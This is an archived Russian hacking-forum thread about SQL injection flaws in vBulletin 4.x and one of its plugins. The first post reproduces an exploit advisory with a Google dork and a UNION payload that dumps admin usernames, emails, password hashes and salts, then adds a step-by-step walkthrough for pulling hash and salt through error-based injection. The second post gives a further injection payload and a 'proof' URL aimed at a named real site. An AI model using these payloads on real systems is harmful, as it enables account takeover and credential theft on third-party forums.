1. Вы находитесь в архивной версии форума xaker.name. Здесь собраны темы с 2007 по 2012 год, большинство инструкций и мануалов уже неактуальны.
    Скрыть объявление

Уязвимости vbulletin

Тема в разделе "Web-хакинг, уязвимости CMS, эксплоиты", создана пользователем p0wER, 11 авг 2011.

  1. p0wER

    p0wER Новичок

    Регистрация:
    12 фев 2011
    Сообщения:
    102
    Симпатии:
    26
    Баллы:
    0
    1. Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

    Код:
    # Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day
    # Google Dork: intitle: powered by Vbulletin 4
    # Date: 20/07/2011
    # Author: FB1H2S	
    # Software Link: [[url]http://www.vbulletin.com/][/url]
    # Version: [4.x.x]
    # Tested on: [relevant os]
    # CVE : [[url]http://members.vbulletin.com/][/url]
    
    ######################################################################################################
    Vulnerability:
    ######################################################################################################
    
    Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.
    
    #####################################################################################################
    Vulnerable Code:
    #####################################################################################################
    
    File:    /vbforum/search/type/socialgroupmessage.php
    Line No: 388
    Paramater : messagegroupid
    
    
    
    		
    		if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)
    
    		{
    
    			$value = $registry->GPC['messagegroupid'];
    
    			if (!is_array($value))
    
    			{
    
    				$value = array($value);
    
    			}
    
    
    
    			if (!(in_array(' ',$value) OR in_array('',$value)))
    
    			{
    
    				if ($rst = $vbulletin->db->query_read("
    
    					SELECT socialgroup.name
    
    					FROM " . TABLE_PREFIX."socialgroup AS socialgroup
    
    --->					WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")
    
    				
    			}
    
    
    
    ############################################################################################
    Exploitation:
    ############################################################################################
    Post data on: -->search.php?search_type=1
    	      --> Search Single Content Type
    
    Keywords :   Valid Group Message
    
    Search Type : Group Messages 
    
    Search in Group : Valid Group Id
    
    &messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
    
    ##########################################################################################
    More Details:
    ##########################################################################################
    [url]Http://www.Garage4Hackers.com[/url]
    [url]http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day[/url]
    
    
    ###########################################################################################
    Note:
    ###########################################################################################
    
    Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
    customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".
    
    2. Уязвимость пашет на vBulletin 4.1.4 на движках 4.х.х тоже должна фурычить.

    Заходим, регистрируемся (не всегда обязательно, если поиск без всяких там капч и вопросов от имени гостя проходит, то рега не впёрлась).

    Запускаем лису, плагин liveHTTPHeaders.

    Вбиваем в поле поиска любую лабуду, например "4234234" и жмём enter

    В liveHTTPHeaders редактируем запрос таким вот образом, дописывая это:
    Код:
    humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select password from user where userid=1 and row(1,1)>(select count(*),concat( (select user.password) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
    [​IMG]

    Отправляем запрос, выйдет ошибка Database error
    Смотрим исходный код, внизу находим хэш, записываем

    Теперь оправляем запрос на вывод соли, вот такой:
    Код:
    humanverify[]=&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&categoryid[]=-99) union select salt from user where userid=1 and row(1,1)>(select count(*),concat( (select user.salt) ,0x3a,floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- /*
    Опять ошибка, опять смотрим исходный код, записываем соль.

    Всё, осталось только расшифровать.

    Иногда таблица не user называется, тогда хэш мы не увидим, а увидим на месте хэша какую-то лабуду, а чуть выше виден будет префикс, вот его и дописываем в наш запрос, и тогда всё бенч будет.

    grabberz.com​
     
  2. Хулиган

    Хулиган Команда форума Админ

    Регистрация:
    1 янв 1970
    Сообщения:
    0
    Симпатии:
    202
    Баллы:
    0
    Yet Another Usergroup Legend (AJAX)

    Код:
    Home: xaker.name & grabberz.com
    тема с хаком [noparse]http://www.vbulletin.org/forum/showthread.php?t=181956, http://vbsupport.org/forum/showthread.php?t=26774[/noparse]

    Код:
    ajax.php?do=getgroup&groupis=(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(103),CHAR(102),CHAR(81),CHAR(73),CHAR(71),CHAR(85),CHAR(90),CHAR(112)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
    proof:
    Код:
    http://sea-wave.ru/forum/ajax.php?do=getgroup&groupis=(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(103),CHAR(102),CHAR(81),CHAR(73),CHAR(71),CHAR(85),CHAR(90),CHAR(112)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
    за помощь и пинок в правильную сторону спасибо кативо;)
    пофиксеная версия в аттаче
    Посмотреть вложение 759
     
    Последнее редактирование: 4 окт 2012

Поделиться этой страницей